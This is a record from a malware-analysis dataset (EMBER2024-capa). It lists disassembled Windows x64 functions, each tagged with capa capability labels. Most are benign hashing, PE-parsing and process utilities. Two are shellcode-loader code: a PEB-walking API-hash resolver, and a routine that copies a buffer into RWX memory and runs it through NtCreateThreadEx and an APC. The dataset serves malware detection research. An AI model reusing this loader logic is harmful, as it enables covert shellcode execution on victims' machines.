joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140030854
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov rcx, qword [0x14005c6f0]
xorps xmm0, xmm0
add rcx, 1
js 0x14003087a
cvtsi2ss xmm0, rcx
jmp 0x14003088f
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
divss xmm0, dword [0x14005c6e0]
call sub.api_ms_win_crt_private_l1_1_0.dll__o_ceilf
movss xmm1, dword [0x14004be5c]
xor ecx, ecx
comiss xmm0, xmm1
jb 0x1400308c1
subss xmm0, xmm1
comiss xmm0, xmm1
jae 0x1400308c1
movabs rax, 0x8000000000000000
mov rcx, rax
mov rdx, qword [0x14005c718]
cvttss2si rax, xmm0
add rax, rcx
mov ecx, 8
cmp rax, rcx
cmova rcx, rax
cmp rdx, rcx
jae 0x1400308f6
cmp rdx, 0x200
jae 0x1400308f3
shl rdx, 3
cmp rdx, rcx
jae 0x1400308f6
mov rdx, rcx
movabs rax, 0xfffffffffffffff
bsr rcx, rax
mov eax, 1
shl rax, cl
cmp rdx, rax
ja 0x140030a88
mov rbx, qword [0x14005c6e8]
lea rax, [rdx - 1]
or rax, 1
mov edi, 1
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x14005c6f8]
lea rdx, [rdi + rdi]
call fcn.14000e224
mov rax, qword [0x14005c6e8]
lea r9, [rdi - 1]
mov qword [0x14005c710], r9
mov qword [0x14005c718], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x140030a6c
mov rcx, qword [rcx]
movabs r10, 0xcbf29ce484222325
xor r8d, r8d
movzx edx, byte [r8 + rax + 0x10]
movabs r11, 0x100000001b3
xor r10, rdx
inc r8
imul r10, r11
cmp r8, 4
jb 0x14003097d
mov r11, qword [0x14005c6f8]
and r10, r9
add r10, r10
cmp qword [r11 + r10*8], rbx
jne 0x1400309bb
mov qword [r11 + r10*8], rax
mov qword [r11 + r10*8 + 8], rax
jmp 0x140030a32
mov rdx, qword [r11 + r10*8 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x1400309f5
mov rdi, qword [rdx]
cmp rdi, rax
je 0x1400309b4
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], rdi
mov rdx, qword [rdi + 8]
mov qword [rdx], rax
mov qword [rdi + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x1400309b4
mov rdi, rdx
jmp 0x140030a07
mov rdx, qword [rdx + 8]
mov rdi, rdx
cmp r8d, dword [rdx + 0x10]
je 0x140030a46
cmp qword [r11 + r10*8], rdx
jne 0x1400309fa
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], rdi
mov rdx, qword [rdi + 8]
mov qword [rdx], rax
mov qword [rdi + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + r10*8], rax
mov rax, rcx
cmp rcx, rbx
je 0x140030a6c
mov r9, qword [0x14005c710]
jmp 0x14003096d
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x140030a32
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.140030a9c
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
lea rcx, str.invalid_hash_bucket_count
call fcn.140010a34
int3
Function at 0x140030b60
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, r8
mov r15, rdx
mov r13, rcx
cmp rdx, r8
je 0x140030c56
mov rsi, qword [rdx + 8]
movabs r14, 0xcbf29ce484222325
mov r12, qword [rcx + 8]
movabs rdx, 0x100000001b3
mov rbp, qword [rcx + 0x18]
xor ecx, ecx
mov qword [rsp + 0x20], rsi
movzx eax, byte [r15 + rcx + 0x10]
inc rcx
xor r14, rax
imul r14, rdx
cmp rcx, 4
jb 0x140030bad
and r14, qword [r13 + 0x30]
mov edx, 0x20
mov rbx, qword [r15]
add r14, r14
mov rcx, r15
mov rax, qword [rbp + r14*8]
mov qword [rsp + 0x80], rax
mov rax, qword [rbp + r14*8 + 8]
mov qword [rsp + 0x78], rax
call fcn.14000f8e8
dec qword [r13 + 0x10]
cmp r15, qword [rsp + 0x78]
je 0x140030c2c
mov qword [rsp + 0x88], rbx
cmp rbx, rdi
je 0x140030c40
mov rcx, rbx
mov edx, 0x20
mov rbx, qword [rbx]
call fcn.14000f8e8
mov rax, qword [rsp + 0x78]
dec qword [r13 + 0x10]
cmp qword [rsp + 0x88], rax
jne 0x140030bfc
cmp qword [rsp + 0x80], r15
jne 0x140030c6f
mov qword [rbp + r14*8], r12
mov rax, r12
jmp 0x140030c72
cmp qword [rsp + 0x80], r15
jne 0x140030c4f
mov qword [rbp + r14*8], rbx
mov qword [rsi], rbx
mov qword [rbx + 8], rsi
mov rbx, qword [rsp + 0x70]
mov rax, rdi
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rax, rsi
mov qword [rbp + r14*8 + 8], rax
cmp rbx, rdi
je 0x140030c4f
mov qword [rsp + 0x78], rbx
xor ecx, ecx
movabs rsi, 0x100000001b3
movabs r14, 0xcbf29ce484222325
movzx eax, byte [rbx + rcx + 0x10]
inc rcx
xor r14, rax
imul r14, rsi
cmp rcx, 4
jb 0x140030c97
and r14, qword [r13 + 0x30]
mov rcx, rbx
mov rsi, qword [rsp + 0x20]
add r14, r14
mov rbx, qword [rbx]
mov edx, 0x20
mov r15, qword [rbp + r14*8 + 8]
mov qword [rsp + 0x80], r15
call fcn.14000f8e8
dec qword [r13 + 0x10]
cmp qword [rsp + 0x78], r15
je 0x140030d0a
mov r15, rbx
cmp rbx, rdi
je 0x140030c4a
mov rcx, rbx
mov edx, 0x20
mov rbx, qword [rbx]
call fcn.14000f8e8
dec qword [r13 + 0x10]
cmp r15, qword [rsp + 0x80]
jne 0x140030ce0
mov qword [rbp + r14*8], r12
mov qword [rbp + r14*8 + 8], r12
jmp 0x140030c77
Function at 0x140031300
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x80
mov rax, qword [0x14005b8e0]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov ebx, dword [rcx + 0x24]
mov edi, 0x40
mov eax, ebx
mov rsi, rdx
and eax, 0x3f
mov r14, rcx
sub edi, eax
lea rcx, [rsp + 0x20]
cmp edi, 8
lea eax, [rdi + 0x40]
cmova eax, edi
xor edx, edx
mov edi, eax
lea r8d, [rax - 8]
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov ecx, dword [r14 + 0x20]
lea rdx, [rsp + 0x20]
shl ecx, 3
mov eax, ebx
shr eax, 0x1d
mov r8d, edi
or ecx, eax
mov byte [rsp + 0x20], 0x80
bswap ecx
lea eax, [rbx*8]
mov dword [rsp + rdi + 0x18], ecx
bswap eax
mov rcx, r14
mov dword [rsp + rdi + 0x1c], eax
call fcn.1400311e0
mov eax, dword [r14]
lea rdi, [r14 + 0x28]
bswap eax
mov dword [rsi], eax
mov ecx, 0x40
mov eax, dword [r14 + 4]
bswap eax
mov dword [rsi + 4], eax
mov eax, dword [r14 + 8]
bswap eax
mov dword [rsi + 8], eax
mov eax, dword [r14 + 0xc]
bswap eax
mov dword [rsi + 0xc], eax
mov eax, dword [r14 + 0x10]
bswap eax
mov dword [rsi + 0x10], eax
mov eax, dword [r14 + 0x14]
bswap eax
mov dword [rsi + 0x14], eax
mov eax, dword [r14 + 0x18]
bswap eax
mov dword [rsi + 0x18], eax
mov eax, dword [r14 + 0x1c]
bswap eax
mov dword [rsi + 0x1c], eax
xor eax, eax
mov dword [r14 + 0x24], eax
mov dword [r14], 0x6a09e667
mov dword [r14 + 4], 0xbb67ae85
mov dword [r14 + 8], 0x3c6ef372
mov dword [r14 + 0xc], 0xa54ff53a
mov dword [r14 + 0x10], 0x510e527f
mov dword [r14 + 0x14], 0x9b05688c
mov dword [r14 + 0x18], 0x1f83d9ab
mov qword [r14 + 0x1c], 0x5be0cd19
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140034af0
mov rbx, qword [rsp + 0xb0]
add rsp, 0x80
pop r14
pop rdi
pop rsi
ret
Function at 0x140032268
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x240
mov rax, qword [0x14005b8e0]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rsi, rdx
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20a
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov r8d, 0x105
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetModuleFileNameW]
nop dword [rax + rax]
test eax, eax
je 0x14003238b
mov edx, 0x105
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchRemoveFileSpec]
nop dword [rax + rax]
mov edi, eax
test eax, eax
jns 0x140032304
mov edx, 0x267
mov rcx, qword [rsp + 0x248]
lea r8, str.onecoreenduserupgradeenablers_shellhelpers_servicehelpers.cpp
mov r9d, edi
call fcn.1400054ac
mov eax, edi
jmp 0x140032390
mov r9, rsi
lea r8, [rsp + 0x20]
mov edx, 0x105
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchCombine]
nop dword [rax + rax]
mov edi, eax
test eax, eax
jns 0x14003232f
mov edx, 0x268
jmp 0x1400322e6
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_core_shlwapi_legacy_l1_1_0.dll_PathFileExistsW]
nop dword [rax + rax]
test eax, eax
je 0x140032370
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14000e838
cmp qword [rbx + 0x18], 8
jb 0x14003235b
mov rbx, qword [rbx]
mov r8, rbx
lea rdx, str.Found_existing_DLL:__s
xor ecx, ecx
call fcn.14000bb5c
xor eax, eax
jmp 0x140032390
cmp qword [rbx + 0x18], 8
jb 0x14003237a
mov rbx, qword [rbx]
mov r8, rbx
lea rdx, str.Cound_not_find_DLL:__s
xor ecx, ecx
call fcn.14000bb5c
mov eax, 2
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140034af0
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140032834
Capabilities:
Get file version info

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
xor ebx, ebx
mov r15, r9
mov qword [rsp + 0x28], rbx
mov rbp, r8
mov r12, rdx
mov rsi, rcx
test rcx, rcx
jne 0x140032873
mov ecx, 0x80070057
mov edi, ecx
call fcn.14000c4dc
jmp 0x140032960
test r12, r12
je 0x140032862
test rbp, rbp
je 0x140032862
test r15, r15
je 0x140032862
mov r14, qword [rsp + 0x90]
test r14, r14
je 0x140032862
lea rdx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_core_version_l1_1_1.dll_GetFileVersionInfoSizeW]
nop dword [rax + rax]
mov edi, eax
test eax, eax
jne 0x1400328c8
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
test eax, eax
je 0x1400328c8
movzx edi, ax
or edi, 0x80070000
test eax, eax
cmovle edi, eax
mov ecx, edi
jmp 0x140032869
mov rdx, rdi
lea rcx, [rsp + 0x28]
call fcn.140032994
mov rbx, qword [rsp + 0x28]
test rbx, rbx
jne 0x1400328e6
mov edi, 0x8007000e
jmp 0x1400328c4
mov r9, rbx
mov r8d, edi
xor edx, edx
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_version_l1_1_1.dll_GetFileVersionInfoW]
nop dword [rax + rax]
test eax, eax
jne 0x140032918
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
test eax, eax
jne 0x1400328b6
mov edi, 0x80004005
jmp 0x1400328c4
lea r9, [rsp + 0x20]
mov rcx, rbx
lea r8, [rsp + 0x30]
lea rdx, [0x14003af78]
call qword [sym.imp.api_ms_win_core_version_l1_1_0.dll_VerQueryValueW]
nop dword [rax + rax]
test eax, eax
je 0x140032901
mov rcx, qword [rsp + 0x30]
xor edi, edi
movzx eax, word [rcx + 0xa]
mov dword [r12], eax
movzx eax, word [rcx + 8]
mov dword [rbp], eax
movzx eax, word [rcx + 0xe]
mov dword [r15], eax
movzx eax, word [rcx + 0xc]
mov dword [r14], eax
mov ecx, edi
call fcn.14000c400
mov rcx, rbx
call fcn.140034b18
lea r11, [rsp + 0x40]
mov eax, edi
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140032ec0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x7f0]
sub rsp, 0x8f0
mov rax, qword [0x14005b8e0]
xor rax, rsp
mov qword [rbp + 0x7e0], rax
mov rsi, rdx
lea rcx, [rsp + 0x74]
xor edx, edx
mov rdi, r8
lea r8d, [rdx + 0x64]
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
lea rdx, str.ExecuteCommandLine:_started
xor ecx, ecx
mov qword [rsp + 0x68], rax
movups xmmword [rsp + 0x58], xmm0
call fcn.14000bb5c
test rdi, rdi
jne 0x140032f39
mov ebx, 0x80070057
mov ecx, ebx
call fcn.14000c4dc
jmp 0x14003303b
mov r9, rsi
lea r8, [0x14004ad98]
mov edx, 0x400
lea rcx, [rbp - 0x20]
call fcn.140003990
mov ebx, eax
test eax, eax
jns 0x140032f5b
mov ecx, eax
jmp 0x140032f2f
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp - 0x20]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000020
and dword [rsp + 0x20], 0
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_CreateProcessW]
nop dword [rax + rax]
test eax, eax
jne 0x140032fd7
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
nop dword [rax + rax]
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
test ebx, ebx
js 0x140032f2d
mov rcx, qword [rsp + 0x58]
or edx, 0xffffffff
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_WaitForSingleObject]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetExitCodeProcess]
nop dword [rax + rax]
test eax, eax
jne 0x140033035
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx ecx, ax
lea rdx, str.ExecuteCommandLine:_Failed_to_get_process_information
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
call fcn.14000b9e0
mov ebx, eax
test eax, eax
js 0x140032f57
mov eax, dword [rsp + 0x50]
mov dword [rdi], eax
mov rcx, qword [rsp + 0x58]
cmp rcx, 0xffffffffffffffff
je 0x140033052
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x60]
cmp rcx, 0xffffffffffffffff
je 0x140033069
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
nop dword [rax + rax]
test ebx, ebx
jne 0x140033071
cmp dword [rdi], ebx
je 0x140033082
mov r8, rsi
lea rdx, str.ExecuteCommandLine:_There_was_a_problem_executing_the_command_line__s
mov ecx, ebx
call fcn.14000b9e0
lea rdx, str.ExecuteCommandLine:_ended
mov ecx, ebx
call fcn.14000bb5c
mov ecx, ebx
call fcn.14000c400
mov eax, ebx
mov rcx, qword [rbp + 0x7e0]
xor rcx, rsp
call fcn.140034af0
mov rbx, qword [rsp + 0x910]
add rsp, 0x8f0
pop rdi
pop rsi
pop rbp
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
xor rdx, rdx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
movzx rcx, word [rdx + 0x4a]
xor r9, r9
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
push rax
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
xor r9, r9
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140001740
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140002590
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x1400017b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
test esi, esi
mov rbx, rcx
jle 0x1400018e0
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400017fb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001885
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400017e0
mov rcx, rbx
call fcn.140002220
test rax, rax
mov rdi, rax
je 0x140001902
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002360
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400018e7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000187e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001890
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140007098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000187e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001740
nop dword [rax]
xor esi, esi
jmp 0x140001808
mov rax, qword [0x140007098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.140001740
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.140001740
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140001e70
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001ecc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001ec3
test rsi, rsi
je 0x140001ec3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ea8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400020e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002118
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002120
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002118
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002120
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002100
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002118
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002120
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002220
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004600]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002240
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002248
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002240
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000229d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002294
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002240
add rax, 0x28
cmp rax, r9
jne 0x140002280
xor eax, eax
ret

Function at 0x1400022a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004600]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004600]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000237f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002388
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002540
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002570
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002950
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
mov rbp, qword [0x1400046d0]
xor r10d, r10d
xor r8d, r8d
mov rax, qword [rbp]
mov qword [rsp + 0x78], rax
xor eax, eax
mov rsi, rcx
mov eax, edx
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x70]
mov rbx, rdx
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x60], r10
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x70], rax
call sub.ntdll.dll_NtAllocateVirtualMemory
test eax, eax
jne 0x140002a4a
mov rdi, qword [rsp + 0x60]
mov rcx, rbx
xor edx, edx
xor r8d, r8d
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x50], rdx
lea rcx, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rdx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rdx
mov edx, 0x1fffff
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], r9
or r9, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call sub.ntdll.dll_NtCreateThreadEx
test eax, eax
jne 0x140002a4a
mov rdx, qword [rsp + 0x60]
xor eax, eax
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call sub.ntdll.dll_NtQueueApcThread
test eax, eax
jne 0x140002a4a
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140002a40
xor r8d, r8d
mov edx, 1
call sub.ntdll.dll_NtWaitForSingleObject
mov rcx, qword [rsp + 0x68]
call sub.ntdll.dll_NtClose
mov rax, qword [rsp + 0x78]
sub rax, qword [rbp]
je 0x140002a5b
call fcn.140002540
nop
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
ret